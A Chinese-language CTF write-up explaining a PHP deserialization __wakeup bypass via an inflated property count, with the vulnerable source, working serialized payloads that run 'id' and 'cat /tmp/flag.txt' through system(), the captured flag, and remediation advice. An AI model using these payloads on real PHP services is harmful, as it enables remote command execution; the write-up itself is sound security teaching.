【好靶场】PHP反序列化绕过 【好靶场】PHP反序列化绕过【好靶场】PHP反序列化绕过__wakeup 绕过与命令执行前置知识一、题目源码二、正常 Payload 为什么会失败三、绕过思路四、验证命令执行1. 本地 PHP 7.3.4 检测结果2. 授权靶场页面回显五、字符串长度一定要写对六、查找 Flag七、漏洞原理总结八、修复建议1. 不要反序列化用户输入2. 禁止在魔术方法中调用危险函数3. 使用类白名单4. 做签名校验总结【好靶场】PHP反序列化绕过__wakeup 绕过与命令执行本文仅用于授权靶场、CTF 练习和本地安全学习。前置知识学习本题前需要先理解几个点。本文涉及的本地检测环境为 PHP 7.3.4实际绕过效果以授权靶场页面回显为准因为__wakeup()属性数量绕过和 PHP 版本有关。这里的__wakeup()绕过和 PHP 版本有关核心原因是 PHP 早期在处理反序列化对象时如果序列化字符串中声明的属性数量大于实际属性数量可能会导致__wakeup()没有被正常调用。常见结论如下PHP 版本是否容易触发属性数量绕过__wakeup()PHP 5.x常见可绕过PHP 7.0.x 早期版本常见可绕过PHP 7.1大多已修复通常无法再用该方式绕过PHP 7.3.4本机测试不可用PHP 8.x通常不可用1.unserialize()会还原对象PHP 反序列化时如果序列化字符串中包含对象PHP 会尝试按照类名还原对象和属性。示例对象序列化格式O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}含义OObject对象12类名BypassWakeup长度为 121对象属性数量为 1s:3:cmd属性名是cmds:2:id属性值是id。2.__wakeup()的触发时机__wakeup()是 PHP 魔术方法通常会在unserialize()反序列化对象时自动触发。本题中publicfunction__wakeup(){$this-cmdecho waf;}它的作用是把$cmd强行改成echo waf所以如果__wakeup()正常执行我们传入的命令会被覆盖。3.__destruct()的触发时机__destruct()会在对象销毁时自动触发通常是脚本执行结束时。本题中publicfunction__destruct(){system($this-cmd);}也就是说只要$cmd没有被__wakeup()覆盖最后就会进入system($this-cmd)。一、题目源码?phpclassBypassWakeup{public$cmdecho ok;publicfunction__wakeup(){$this-cmdecho waf;}publicfunction__destruct(){system($this-cmd);}}$ser_data$_GET[data];unserialize($ser_data);?题目要求Getshell。但是这题的关键不是反弹 shell而是先理解可控 data 参数 → unserialize() → 触发魔术方法 → system($cmd)二、正常 Payload 为什么会失败如果正常构造 1 个属性O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}执行流程是unserialize() ↓ 触发 __wakeup() ↓ cmd 被改成 echo waf ↓ 脚本结束触发 __destruct() ↓ 执行 echo waf所以正常情况下即使我们传入id也会被__wakeup()改掉。三、绕过思路老版本 PHP 中存在一个经典特性当序列化字符串中声明的对象属性数量大于实际属性数量时可能导致__wakeup()不被正常触发。正常写法O:12:BypassWakeup:1:{s:3:cmd;s:2:id;}绕过写法O:12:BypassWakeup:2:{s:3:cmd;s:2:id;}变化点只有一个BypassWakeup:1改成BypassWakeup:2真正存在2 个属性的标准序列化字符串大括号里写两组属性键值对声明数量和实际数量保持一致:2:O:12:BypassWakeup:2:{s:3:cmd;s:2:id;s:4:test;s:1:1;}拆解:2:→ 声明 2 个属性实际两个属性cmd、test声明数量 实际属性数量 →__wakeup正常触发也就是声明有 2 个属性但实际只给了 1 个cmd属性。这样$cmd就不会被__wakeup()改成echo waf脚本结束时会进入system($this-cmd);四、验证命令执行先用无害命令测试idPayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}1. 本地 PHP 7.3.4 检测结果本地检测环境PHP 7.3.4 CLI (NTS MSVC15 x64) PHP 路径E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe正常触发__wakeup()的 PayloadO:12:BypassWakeup:1:{s:3:cmd;s:2:id;}本地输出[] __wakeup 被触发 [] __destruct 被触发 [] 即将执行命令echo waf waf说明cmdid被__wakeup()覆盖成了echo waf。再测试属性数量异常的 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}本地 PHP 7.3.4 中没有输出id结果说明当前本地版本对这种异常序列化数据不会继续走到可利用的析构执行流程。这个现象很重要__wakeup()绕过和 PHP 版本有关不能只看本地结果判断靶场一定不可用。2. 授权靶场页面回显在题目靶场提交同一个 Payload 后页面回显收到输入字符串: O:12:BypassWakeup:2:{s:3:cmd;s:2:id;} uid33(www-data) gid33(www-data) groups33(www-data) 注意system 命令的输出不会直接在此展示区显示。请关注服务器回显或副作用。看到uid33(www-data)说明命令已经在靶场服务器上执行成功。这里的提示意思是system()的输出不一定单独显示在“反序列化结果”区域里可能会混在页面响应中。只要页面出现id的结果就说明命令执行成功。五、字符串长度一定要写对比如命令echo SAFE_TEST长度是 14echo 4 空格 1 SAFE_TEST 9 总长度 14正确 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:14:echo SAFE_TEST;}如果复制时写成echo SAFE\_TEST那就多了一个反斜杠长度变成 15。此时仍然写s:14反序列化就会失败。所以 PHP 反序列化 Payload 有一个非常重要的细节s:长度:内容长度必须和内容严格对应。六、查找 Flag直接构造payloadO:12:BypassWakeup:2:{s:3:cmd;s:17:cat /tmp/flag.txt;}获取到flag为flag{d09d2ffd683c4e88a0fe18c512602d01}七、漏洞原理总结本题的漏洞链路如下用户控制 data 参数 ↓ 服务端直接 unserialize($ser_data) ↓ 构造异常属性数量绕过 __wakeup() ↓ cmd 属性保持用户传入的值 ↓ 对象销毁时触发 __destruct() ↓ system($this-cmd) 执行命令关键点有三个data参数完全可控unserialize()直接处理用户输入__destruct()中存在危险函数system()。八、修复建议1. 不要反序列化用户输入最根本的修复方式是不要把外部可控数据传入unserialize()。可以改用 JSON$datajson_decode($_GET[data],true);但 JSON 解析后也要继续做字段校验不能直接信任用户输入。2. 禁止在魔术方法中调用危险函数不要在__destruct()、__wakeup()、__toString()等魔术方法中直接调用system()exec()passthru()shell_exec()popen()proc_open()魔术方法触发时机隐蔽一旦对象可控很容易被利用。3. 使用类白名单如果业务必须使用unserialize()至少加上类白名单$objunserialize($ser_data,[allowed_classes[SafeClass]]);但要注意类白名单只能限制类不能解决当前类内部危险逻辑的问题。4. 做签名校验服务端生成序列化数据时附带 HMAC 签名。反序列化前先验签$expectedhash_hmac(sha256,$ser_data,$secret);if(!hash_equals($expected,$_GET[sign])){exit(invalid data);}签名不通过直接拒绝处理。总结本题利用思路可以概括为构造 BypassWakeup 对象 ↓ 把 cmd 改为想执行的命令 ↓ 把属性数量 1 改成 2 ↓ 绕过 __wakeup() ↓ 等待 __destruct() 调用 system()最终测试 PayloadO:12:BypassWakeup:2:{s:3:cmd;s:2:id;}这题重点不是“命令本身”而是理解__wakeup()为什么会拦截以及为什么属性数量异常能够绕过它。

相关新闻

最新新闻

C 语言|高级指针:数组配套指针与函数指针 —— 学习笔记

C 语言|高级指针:数组配套指针与函数指针 —— 学习笔记

附图完整梳理整套C语言指针知识体系;指针底层逻辑、各类指针分类已有完整梳理,本文不再赘述。 本文围绕数组配套指针、函数指针(含函数指针数组)两大核心难点展开解析:前者依托数组与指针的内在关联逐层拆解&#xff1…

2026/8/25 16:19:49
局域网联机全攻略:从SMB共享到游戏联机与内网服务部署

局域网联机全攻略:从SMB共享到游戏联机与内网服务部署

在开发、游戏、文件共享等场景中,我们常常需要让多台设备在同一个网络内互联互通。无论是想和朋友在《饥荒联机版》里一起冒险,还是在公司内部快速共享一个大型项目文件,亦或是部署一个仅供内网访问的Web服务,都离不开“局域网联机…

2026/8/25 16:19:49
MIT算法导论实战:排序、哈希、图论与动态规划核心精讲

MIT算法导论实战:排序、哈希、图论与动态规划核心精讲

在算法学习与面试准备中,你是否曾感到知识点零散、难以串联?面对排序、哈希、图论、动态规划等核心算法,是否渴望一份系统性的实战指南,而不仅仅是理论概念的堆砌?本文将以麻省理工(MIT)经典课程…

2026/8/25 16:19:49
基于YOLOv8构建手套检测模型:从数据标注到部署的完整实战指南

基于YOLOv8构建手套检测模型:从数据标注到部署的完整实战指南

1. 这篇文章真正要解决的问题当你在开发一个涉及医疗、实验室、食品加工或精密制造领域的应用时,有没有遇到过这样的困扰:你的系统需要处理手套、防护服这类“非标”物品的识别、分类或库存管理?传统的图像识别模型,比如训练在Ima…

2026/8/25 16:19:49
利用公网IPv6实现手机端《我的世界》Java版低延迟联机

利用公网IPv6实现手机端《我的世界》Java版低延迟联机

和朋友联机玩《我的世界》Java版,还在用内网穿透工具吗?每次联机都要折腾端口映射、配置转发规则,延迟动不动就飙到100ms以上,体验一言难尽。更别提在手机上开服,想和好友一起玩,流程更是复杂得让人望而却步…

2026/8/25 16:19:49
如何构建自己的“ Harness ”

如何构建自己的“ Harness ”

干货长文预警。很多人"让 AI 写代码"已经驾轻就熟,但"让 AI 稳定地产出能上生产的代码"是另一回事。这篇文章我拿一个真实例子——RBAC 权限系统(用户-角色-权限)——把完整工作流拆开:每一步为什么这么做、具…

2026/8/25 16:14:49